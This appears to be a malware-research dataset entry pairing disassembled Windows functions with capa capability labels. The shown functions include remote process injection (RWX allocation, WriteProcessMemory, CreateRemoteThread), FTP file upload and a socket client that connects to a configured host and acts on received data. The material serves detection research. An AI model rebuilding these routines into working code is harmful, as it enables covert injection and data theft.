joyce8/EMBER2024-capa huggingface dataset:
Function at 0x472af0
Capabilities:
Set file attributes

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe14
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x1ec], ecx
mov dword [ebp - 0x1e8], ecx
mov dword [ebp - 0x1e4], ecx
mov dword [ebp - 0x1e0], ecx
mov dword [ebp - 8], ecx
mov dword [ebp - 0xc], ecx
mov byte [ebp - 0xd], dl
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004059cc
xor eax, eax
push ebp
push 0x472d26
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
push ebp
push 0x472cea
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 8]
call fcn.00405530
lea eax, [ebp - 0x1e0]
call fcn.00471adc
lea eax, [ebp - 0x1e0]
mov edx, 0x472d3c
call fcn.00405818
mov edx, dword [ebp - 0x1e0]
lea eax, [ebp - 0x1dc]
call fcn.00403770
movzx eax, byte [0x472d50]
push eax
lea eax, [ebp - 0x1e4]
push eax
mov ecx, 0x472d5c
mov edx, 0x472d68
mov eax, dword [ebp - 4]
call fcn.0040ef44
mov edx, dword [ebp - 0x1e4]
lea eax, [ebp - 4]
call fcn.004055c8
movzx eax, byte [0x472d50]
push eax
lea eax, [ebp - 0x1e8]
push eax
mov ecx, 0x472d74
mov edx, 0x472d80
mov eax, dword [ebp - 4]
call fcn.0040ef44
mov edx, dword [ebp - 0x1e8]
lea eax, [ebp - 4]
call fcn.004055c8
xor eax, eax
push ebp
push 0x472c21
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x80
lea eax, [ebp - 0x1ec]
call fcn.00471adc
lea eax, [ebp - 0x1ec]
mov edx, 0x472d3c
call fcn.00405818
mov eax, dword [ebp - 0x1ec]
call fcn.004059dc
push eax
call sub.kernel32.dll_SetFileAttributesA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x472c2b
cmp byte [ebp - 0xd], 0
je 0x472c9d
lea eax, [ebp - 0x1dc]
call fcn.004034f4
call fcn.0040305c
jmp 0x472c79
lea edx, [ebp - 0xc]
lea eax, [ebp - 0x1dc]
call fcn.00403cc4
lea eax, [ebp - 0x1dc]
call fcn.00403d30
call fcn.0040305c
push dword [ebp - 8]
push dword [ebp - 0xc]
push 0x472d5c
lea eax, [ebp - 8]
mov edx, 3
call fcn.004058e0
lea eax, [ebp - 0x1dc]
call fcn.00403abc
call fcn.0040305c
test al, al
je 0x472c43
lea eax, [ebp - 0x1dc]
call fcn.00403918
call fcn.0040305c
lea eax, [ebp - 8]
mov edx, dword [ebp - 4]
call fcn.00405818
lea eax, [ebp - 0x1dc]
call fcn.00403500
call fcn.0040305c
mov edx, dword [ebp - 8]
lea eax, [ebp - 0x1dc]
call fcn.00405cd0
call fcn.004040ac
call fcn.0040305c
lea eax, [ebp - 0x1dc]
call fcn.00403918
call fcn.0040305c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x472cfb
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x472d2d
lea eax, [ebp - 0x1ec]
mov edx, 4
call fcn.00405554
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.00405554
ret
Function at 0x472d84
Capabilities:
Set file attributes

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe20
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 0x1e0], edx
mov dword [ebp - 0x1dc], edx
mov dword [ebp - 0x1d8], edx
mov dword [ebp - 4], edx
mov dword [ebp - 8], edx
mov ebx, eax
lea esi, [ebp - 0x1d4]
xor eax, eax
push ebp
push 0x472efb
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
push ebp
push 0x472ebf
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 4]
call fcn.00405530
lea eax, [ebp - 0x1d8]
call fcn.00471adc
lea eax, [ebp - 0x1d8]
mov edx, 0x472f14
call fcn.00405818
mov edx, dword [ebp - 0x1d8]
mov eax, esi
call fcn.00403770
push 0x80
lea eax, [ebp - 0x1dc]
call fcn.00471adc
lea eax, [ebp - 0x1dc]
mov edx, 0x472f14
call fcn.00405818
mov eax, dword [ebp - 0x1dc]
call fcn.004059dc
push eax
call sub.kernel32.dll_SetFileAttributesA
mov eax, esi
call fcn.004034f4
call fcn.0040305c
jmp 0x472e6b
lea edx, [ebp - 8]
mov eax, esi
call fcn.00403cc4
mov eax, esi
call fcn.00403d30
call fcn.0040305c
push dword [ebp - 4]
push dword [ebp - 8]
push 0x472f30
lea eax, [ebp - 4]
mov edx, 3
call fcn.004058e0
mov eax, esi
call fcn.00403abc
call fcn.0040305c
test al, al
je 0x472e3d
mov eax, esi
call fcn.00403918
call fcn.0040305c
lea edx, [ebp - 0x1e0]
mov eax, dword [ebp - 4]
call fcn.00409b7c
cmp dword [ebp - 0x1e0], 0
jne 0x472eab
lea eax, [ebp - 4]
mov edx, 0x472f3c
call fcn.004055c8
mov eax, ebx
mov edx, dword [ebp - 4]
call fcn.00405584
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x472ed0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x472f02
lea eax, [ebp - 0x1e0]
mov edx, 3
call fcn.00405554
lea eax, [ebp - 8]
mov edx, 2
call fcn.00405554
ret
Function at 0x47331c
Capabilities:
Create tcp socket
Create udp socket

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff9a4
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 0x65c], edx
mov esi, eax
xor eax, eax
push ebp
push 0x47344d
push dword fs:[eax]
mov dword fs:[eax], esp
mov bl, 1
mov eax, esi
call fcn.00405530
push 0
push 1
push 2
call sub.wsock32.dll_socket
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
je 0x473434
xor edx, edx
push ebp
push 0x47341f
push dword fs:[edx]
mov dword fs:[edx], esp
lea ebx, [ebp - 8]
push 0
push 0
push ebx
push 0x400
lea eax, [ebp - 0x658]
push eax
push 0
push 0
push 0x4004747f
mov eax, dword [ebp - 4]
push eax
call sub.WS2_32.DLL_WSAIoctl
inc eax
je 0x473415
mov eax, dword [ebp - 8]
mov ecx, 0x4c
cdq
idiv ecx
dec eax
test eax, eax
jl 0x473415
inc eax
mov dword [ebp - 0xc], eax
lea ebx, [ebp - 0x654]
push esi
mov esi, ebx
lea edi, [ebp - 0x1c]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
pop esi
push dword [ebp - 0x18]
call sub.wsock32.dll_inet_ntoa
mov edi, eax
lea eax, [ebp - 0x65c]
mov edx, edi
call fcn.00405728
mov edx, dword [ebp - 0x65c]
mov eax, esi
call fcn.00405818
push esi
lea esi, [ebx + 0x30]
lea edi, [ebp - 0x1c]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
pop esi
push esi
lea esi, [ebx + 0x18]
lea edi, [ebp - 0x1c]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
pop esi
push dword [ebp - 0x18]
call sub.wsock32.dll_inet_ntoa
mov eax, esi
mov edx, 0x473468
call fcn.00405818
add ebx, 0x4c
dec dword [ebp - 0xc]
jne 0x4733b2
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x473429
mov eax, dword [ebp - 4]
push eax
call sub.wsock32.dll_closesocket
xor ebx, ebx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x473454
lea eax, [ebp - 0x65c]
call fcn.00405530
ret
Function at 0x47346c
Capabilities:
Connect to http server
Create http request

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004059cc
mov eax, dword [ebp - 8]
call fcn.004059cc
mov eax, dword [ebp - 0xc]
call fcn.004059cc
mov eax, dword [ebp + 8]
call fcn.004059cc
xor eax, eax
push ebp
push 0x473546
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
push 0
push 0
push 0
push 0x473558
call sub.wininet.dll_InternetOpenA
mov dword [0x49a190], eax
cmp dword [0x49a190], 0
je 0x47350f
push 0
push 0
push 1
mov eax, dword [ebp - 0xc]
call fcn.004059dc
push eax
mov eax, dword [ebp - 8]
call fcn.004059dc
push eax
mov eax, dword [ebp + 8]
call fcn.00409edc
push eax
mov eax, dword [ebp - 4]
call fcn.004059dc
push eax
mov eax, dword [0x49a190]
push eax
call sub.wininet.dll_InternetConnectA
mov dword [0x49a18c], eax
cmp dword [0x49a18c], 0
je 0x47350f
jmp 0x47351a
xor ebx, ebx
mov byte [0x49422c], 0
jmp 0x473523
mov bl, 1
mov byte [0x49422c], 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x47354d
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.00405554
lea eax, [ebp + 8]
call fcn.00405530
ret

Function at 0x473580
Capabilities:
Send file using ftp

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004059cc
mov eax, dword [ebp - 8]
call fcn.004059cc
xor eax, eax
push ebp
push 0x4735f8
push dword fs:[eax]
mov dword fs:[eax], esp
cmp byte [0x49422c], 0
je 0x4735dd
xor ebx, ebx
push 0
push 2
mov eax, dword [ebp - 8]
call fcn.004059dc
push eax
mov eax, dword [ebp - 4]
call fcn.004059dc
push eax
mov eax, dword [0x49a18c]
push eax
call sub.wininet.dll_FtpPutFileA
test eax, eax
je 0x4735dd
mov bl, 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4735ff
lea eax, [ebp - 8]
mov edx, 2
call fcn.00405554
ret

Function at 0x473998
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
push ebx
push esi
mov esi, eax
xor eax, eax
push ebp
push 0x473a47
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 4]
mov edx, 0x104
call fcn.00405c6c
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x4739ca
sub ebx, 4
mov ebx, dword [ebx]
push ebx
mov eax, dword [ebp - 4]
call fcn.004059dc
push eax
call sub.kernel32.dll_GetWindowsDirectoryA
mov edx, eax
lea eax, [ebp - 4]
call fcn.00405c6c
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x4739ef
sub ebx, 4
mov ebx, dword [ebx]
lea eax, [ebp - 8]
push eax
mov ecx, 1
mov edx, ebx
mov eax, dword [ebp - 4]
call fcn.00405a44
mov eax, dword [ebp - 8]
mov edx, 0x473a5c
call fcn.00405974
je 0x473a22
mov eax, esi
mov ecx, 0x473a5c
mov edx, dword [ebp - 4]
call fcn.00405864
jmp 0x473a2c
mov eax, esi
mov edx, dword [ebp - 4]
call fcn.00405584
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x473a4e
lea eax, [ebp - 8]
mov edx, 2
call fcn.00405554
ret
Function at 0x473a60
Capabilities:
Get common file path

Disassembly:
push ebx
add esp, 0xfffffef8
mov ebx, edx
push esp
push 0
push 0
push eax
push 0
call sub.SHFolder.dll_SHGetFolderPathA
test eax, 0x80000000
sete al
neg al
sbb eax, eax
test eax, eax
je 0x473a96
mov eax, ebx
mov edx, esp
mov ecx, 0x105
call fcn.004057a0
jmp 0x473a9d
mov eax, ebx
call fcn.00405530
add esp, 0x108
pop ebx
ret

Function at 0x473d28
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
push edi
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004059cc
xor eax, eax
push ebp
push 0x473dca
push dword fs:[eax]
mov dword fs:[eax], esp
xor ebx, ebx
push 0
push 0
push 3
push 0
push 1
push 0x80000000
mov eax, dword [ebp - 4]
call fcn.004059dc
push eax
call sub.kernel32.dll_CreateFileA_1
mov edi, eax
cmp edi, 0xffffffff
je 0x473db4
push 0
push edi
call sub.kernel32.dll_GetFileSize_1
mov esi, eax
push esi
mov eax, dword [ebp - 8]
mov ecx, 1
mov edx, dword [0x473968]
call fcn.00406928
add esp, 4
push 0
lea eax, [ebp - 0xc]
push eax
push esi
mov eax, dword [ebp - 8]
mov eax, dword [eax]
push eax
push edi
call sub.kernel32.dll_ReadFile_1
push edi
call sub.kernel32.dll_CloseHandle_1
cmp esi, dword [ebp - 0xc]
jne 0x473db4
mov bl, 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x473dd1
lea eax, [ebp - 4]
call fcn.00405530
ret
Function at 0x474d78
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
push 0
push ebx
push esi
push edi
mov ebx, edx
mov esi, eax
xor eax, eax
push ebp
push 0x474dfe
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 8]
mov edx, ebx
call fcn.00405728
mov eax, dword [ebp - 8]
test eax, eax
je 0x474dac
sub eax, 4
mov eax, dword [eax]
push 0x40
push 0x3000
inc eax
push eax
push 0
push esi
call sub.kernel32.dll_VirtualAllocEx
mov edi, eax
lea eax, [ebp - 0xc]
mov edx, ebx
call fcn.00405728
mov eax, dword [ebp - 0xc]
test eax, eax
je 0x474dd5
sub eax, 4
mov eax, dword [eax]
lea edx, [ebp - 4]
push edx
inc eax
push eax
push ebx
push edi
push esi
call sub.kernel32.dll_WriteProcessMemory
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x474e05
lea eax, [ebp - 0xc]
mov edx, 2
call fcn.00405554
ret

Function at 0x474e10
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebx
push esi
push edi
push ebp
push ecx
mov esi, ecx
mov ebp, edx
mov ebx, eax
push 0x40
push 0x3000
push esi
push 0
push ebx
call sub.kernel32.dll_VirtualAllocEx
mov edi, eax
push esp
push esi
push ebp
push edi
push ebx
call sub.kernel32.dll_WriteProcessMemory
mov eax, edi
pop edx
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x474e40
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
mov edi, edx
mov ebx, eax
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp - 4]
mov eax, ebx
call fcn.00474e10
mov esi, eax
mov eax, edi
call fcn.00474d54
mov ecx, eax
mov edx, edi
mov eax, ebx
call fcn.00474e10
lea edx, [ebp - 0xc]
push edx
push 0
push esi
push eax
push 0
push 0
push ebx
call sub.kernel32.dll_CreateRemoteThread
mov edi, eax
cmp byte [ebp + 8], 0
je 0x474ea6
push 0xffffffffffffffff
push edi
call sub.kernel32.dll_WaitForSingleObject
lea eax, [ebp - 8]
push eax
mov eax, dword [ebp + 0xc]
push eax
mov eax, dword [ebp - 4]
push eax
push esi
push ebx
call sub.kernel32.dll_ReadProcessMemory
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x475d90
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
xor edx, edx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004059cc
xor eax, eax
push ebp
push 0x475e21
push dword fs:[eax]
mov dword fs:[eax], esp
lea ecx, [ebp - 8]
mov edx, dword [0x494b5c]
mov edx, dword [edx]
mov eax, dword [ebp - 4]
call fcn.00461358
mov edx, dword [ebp - 8]
lea eax, [ebp - 4]
call fcn.004055c8
lea eax, [ebp - 4]
mov edx, dword [ebp - 4]
call fcn.004055c8
mov eax, dword [ebp - 4]
test eax, eax
je 0x475deb
sub eax, 4
mov eax, dword [eax]
mov esi, eax
push 0
push esi
lea eax, [ebp - 4]
call fcn.00405a3c
push eax
mov eax, dword [0x494af4]
mov eax, dword [eax]
push eax
call sub.wsock32.dll_send
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x475e28
lea eax, [ebp - 8]
mov edx, 2
call fcn.00405554
ret

Function at 0x475e30
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
xor ecx, ecx
mov dword [ebp - 8], ecx
mov dword [ebp - 4], edx
mov esi, eax
mov eax, dword [ebp - 4]
call fcn.004059cc
xor eax, eax
push ebp
push 0x475ebc
push dword fs:[eax]
mov dword fs:[eax], esp
lea ecx, [ebp - 8]
mov edx, dword [0x494b5c]
mov edx, dword [edx]
mov eax, dword [ebp - 4]
call fcn.00461358
mov edx, dword [ebp - 8]
lea eax, [ebp - 4]
call fcn.004055c8
lea eax, [ebp - 4]
mov edx, dword [ebp - 4]
call fcn.004055c8
mov eax, dword [ebp - 4]
test eax, eax
je 0x475e8d
sub eax, 4
mov eax, dword [eax]
mov ebx, eax
push 0
push ebx
lea eax, [ebp - 4]
call fcn.00405a3c
push eax
push esi
call sub.wsock32.dll_send
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x475ec3
lea eax, [ebp - 8]
mov edx, 2
call fcn.00405554
ret

Function at 0x475f3c
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004059cc
mov eax, dword [ebp - 8]
call fcn.004059cc
mov eax, dword [ebp - 0xc]
call fcn.004059cc
xor eax, eax
push ebp
push 0x475fee
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x14
push 0x40
call sub.kernel32.dll_LocalAlloc_1
mov esi, eax
mov ebx, esi
mov eax, ebx
mov edx, dword [ebp - 4]
call fcn.00405584
lea eax, [ebx + 4]
call fcn.00405530
lea eax, [ebx + 8]
mov edx, dword [ebp - 8]
call fcn.00405584
lea eax, [ebx + 0xc]
mov edx, dword [ebp - 0xc]
call fcn.00405584
lea eax, [ebx + 0x10]
mov edx, 0x476004
call fcn.00405584
mov eax, dword [ebp + 8]
add eax, 0xfffffffc
push eax
push 0
push esi
push 0x483c90
push 0
push 0
call sub.kernel32.dll_CreateThread_1
push eax
call sub.kernel32.dll_CloseHandle_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x475ff5
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.00405554
ret
Function at 0x47edb4
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
mov ecx, 6
push 0
push 0
dec ecx
jne 0x47edbc
push ebx
push esi
mov esi, dword [0x494cc0]
xor eax, eax
push ebp
push 0x47efb8
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [0x494b5c]
push dword [eax]
lea eax, [ebp - 0x1c]
call fcn.0048c560
push dword [ebp - 0x1c]
lea edx, [ebp - 0x24]
mov eax, 0x47efd0
call fcn.00473608
mov eax, dword [ebp - 0x24]
lea edx, [ebp - 0x20]
call fcn.00409b7c
push dword [ebp - 0x20]
mov eax, dword [0x494b5c]
mov edx, 3
call fcn.004058e0
mov eax, dword [0x494a78]
mov byte [eax], 0
mov eax, dword [0x494bb0]
xor edx, edx
mov dword [eax], edx
lea edx, [ebp - 0x28]
mov eax, 0x47efdc
call fcn.00473608
mov eax, dword [ebp - 0x28]
mov edx, 0x47eff0
call fcn.00405974
jne 0x47ee65
mov eax, dword [0x494c30]
push eax
push 0
push 0
push 0x4822f0
push 0
push 0
call sub.kernel32.dll_CreateThread_1
mov eax, dword [0x4948f8]
mov dword [eax], 1
mov eax, dword [0x4948b4]
mov byte [eax], 1
movzx eax, byte [0x47eff4]
push eax
lea eax, [ebp - 0x2c]
push eax
mov eax, dword [0x494c18]
mov eax, dword [eax]
mov ecx, 0x47f000
mov edx, 0x47f00c
call fcn.0040ef44
mov edx, dword [ebp - 0x2c]
mov eax, dword [0x494c18]
call fcn.00405584
mov edx, dword [0x494c18]
mov edx, dword [edx]
mov eax, dword [0x494808]
mov eax, dword [eax]
mov ecx, dword [eax]
call dword [ecx + 0x2c]
lea edx, [ebp - 0x30]
mov eax, dword [0x494914]
mov eax, dword [eax]
call fcn.0048c588
mov edx, dword [ebp - 0x30]
mov eax, dword [0x4949e8]
call fcn.00405584
mov eax, dword [0x4949e8]
mov eax, dword [eax]
mov edx, 0x47f018
call fcn.00405974
jne 0x47ef37
call fcn.0040bc98
fstp qword [ebp - 0x10]
wait
push dword [ebp - 0xc]
push dword [ebp - 0x10]
mov edx, dword [0x49496c]
mov edx, dword [edx]
lea eax, [ebp - 4]
call fcn.0040c8f8
call fcn.0040bcc4
fstp qword [ebp - 0x18]
wait
push dword [ebp - 0x14]
push dword [ebp - 0x18]
mov edx, dword [0x494acc]
mov edx, dword [edx]
lea eax, [ebp - 8]
call fcn.0040c8f8
push dword [ebp - 4]
push 0x47f028
push dword [ebp - 8]
mov eax, dword [0x4949e8]
mov edx, 3
call fcn.004058e0
mov cl, 1
mov dl, 1
mov eax, dword [0x486b4c]
call fcn.0041f9d8
mov edx, dword [0x494d1c]
mov dword [edx], eax
mov eax, dword [0x494d1c]
mov eax, dword [eax]
mov byte [eax + 0xf], 1
mov eax, dword [0x494d1c]
mov eax, dword [eax]
mov dl, 5
call fcn.0041fbe4
mov eax, dword [0x494d1c]
mov eax, dword [eax]
call fcn.0041fe94
jmp 0x47ef80
push esi
call sub.user32.dll_TranslateMessage
push esi
call sub.user32.dll_DispatchMessageA
push 0
push 0
push 0
push esi
call sub.user32.dll_GetMessageA
test eax, eax
jne 0x47ef74
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x47efbf
lea eax, [ebp - 0x30]
mov edx, 6
call fcn.00405554
lea eax, [ebp - 8]
mov edx, 2
call fcn.00405554
ret
Function at 0x4800e8
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Receive data
Receive data on socket
Resolve dns
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffbd8
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 0x428], edx
mov dword [ebp - 0x420], edx
mov dword [ebp - 0x424], edx
mov dword [ebp - 4], edx
mov ebx, eax
lea esi, [ebp - 0x40c]
xor eax, eax
push ebp
push 0x48031b
push dword fs:[eax]
mov dword fs:[eax], esp
cmp dword [ebx + 0x44], 0
jne 0x4802f5
push 0
push 1
push 2
call sub.wsock32.dll_socket
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xffffffff
je 0x4802f5
mov word [ebp - 0x41c], 2
mov eax, dword [0x4949d8]
movzx eax, word [eax]
push eax
call sub.wsock32.dll_htons
mov word [ebp - 0x41a], ax
mov eax, dword [0x494b34]
mov eax, dword [eax]
push eax
call sub.wsock32.dll_inet_addr
mov edi, eax
mov dword [ebp - 0x418], edi
inc edi
jne 0x48019b
mov eax, dword [0x494b34]
mov eax, dword [eax]
push eax
call sub.wsock32.dll_gethostbyname
test eax, eax
je 0x4802f5
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
mov dword [ebp - 0x418], eax
push 0x10
lea eax, [ebp - 0x41c]
push eax
mov eax, dword [ebp - 8]
push eax
call sub.wsock32.dll_connect
push 0
push 0x400
push esi
mov eax, dword [ebp - 8]
push eax
call sub.wsock32.dll_recv
inc eax
je 0x4802e1
lea edx, [ebp - 0x424]
mov eax, dword [ebx + 0x40]
call fcn.00409d70
mov ecx, dword [ebp - 0x424]
lea eax, [ebp - 0x420]
mov edx, 0x480334
call fcn.00405864
mov edx, dword [ebp - 0x420]
mov eax, dword [ebp - 8]
call fcn.00475e30
push 0
push 0x400
push esi
mov eax, dword [ebp - 8]
push eax
call sub.wsock32.dll_recv
inc eax
je 0x4802e1
mov dl, 1
mov eax, dword [0x417b38]
call fcn.00404620
mov dword [ebp - 0xc], eax
push 0
push 0
mov eax, dword [ebp - 0xc]
call fcn.0041b748
xor eax, eax
push ebp
push 0x4802da
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, esi
xor ecx, ecx
mov edx, 0x400
call fcn.00403af4
push 0
push 0x400
push esi
mov eax, dword [ebp - 8]
push eax
call sub.wsock32.dll_recv
mov ebx, eax
test ebx, ebx
jg 0x48029f
push 0
push 0
mov eax, dword [ebp - 0xc]
call fcn.0041b748
lea edx, [ebp - 0x428]
mov eax, dword [ebp - 0xc]
call fcn.0048d420
mov eax, dword [ebp - 0x428]
lea ecx, [ebp - 4]
mov edx, dword [0x494b5c]
mov edx, dword [edx]
call fcn.00461634
mov eax, dword [ebp - 4]
call fcn.00476008
lea eax, [ebp - 0xc]
call fcn.0040f944
jmp 0x4802c4
mov edx, esi
mov ecx, ebx
mov eax, dword [ebp - 0xc]
mov ebx, dword [eax]
call dword [ebx + 0x10]
push 0
push 0x400
lea eax, [esi + 1]
push eax
mov eax, dword [ebp - 8]
push eax
call sub.wsock32.dll_send
jmp 0x480238
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4802e1
mov eax, dword [ebp - 0xc]
call fcn.00404650
ret
push 2
mov eax, dword [ebp - 8]
push eax
call sub.wsock32.dll_shutdown
mov eax, dword [ebp - 8]
push eax
call sub.wsock32.dll_closesocket
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x480322
lea eax, [ebp - 0x428]
mov edx, 3
call fcn.00405554
lea eax, [ebp - 4]
call fcn.00405530
ret
Function at 0x482778
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffbf8
push ebx
push esi
mov dword [ebp - 4], edx
mov dword [ebp - 8], eax
mov eax, dword [ebp - 4]
call fcn.004059cc
xor eax, eax
push ebp
push 0x48280a
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x408]
xor ecx, ecx
mov edx, 0x400
call fcn.00403af4
mov eax, dword [ebp - 4]
test eax, eax
je 0x4827bd
sub eax, 4
mov eax, dword [eax]
mov edx, eax
dec edx
test edx, edx
jl 0x4827db
inc edx
xor esi, esi
lea eax, [ebp - 0x408]
mov ecx, dword [ebp - 4]
movzx ecx, byte [ecx + esi]
mov byte [eax], cl
inc esi
inc eax
dec edx
jne 0x4827cd
push 0
push 0x400
lea eax, [ebp - 0x408]
push eax
mov eax, dword [ebp - 8]
push eax
call sub.wsock32.dll_send
test eax, eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x482811
lea eax, [ebp - 4]
call fcn.00405530
ret

Function at 0x482f08
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
push edi
mov dword [ebp - 8], ecx
mov edi, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004059cc
xor eax, eax
push ebp
push 0x482f7a
push dword fs:[eax]
mov dword fs:[eax], esp
push 0xc
push 0x40
call sub.kernel32.dll_LocalAlloc_1
mov esi, eax
mov ebx, esi
mov eax, ebx
mov edx, dword [ebp - 4]
call fcn.00405584
mov dword [ebx + 4], edi
mov eax, dword [ebp - 8]
mov dword [ebx + 8], eax
lea eax, [ebp - 0xc]
push eax
push 0
push esi
push 0x482dfc
push 0
push 0
call sub.kernel32.dll_CreateThread_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x482f81
lea eax, [ebp - 4]
call fcn.00405530
ret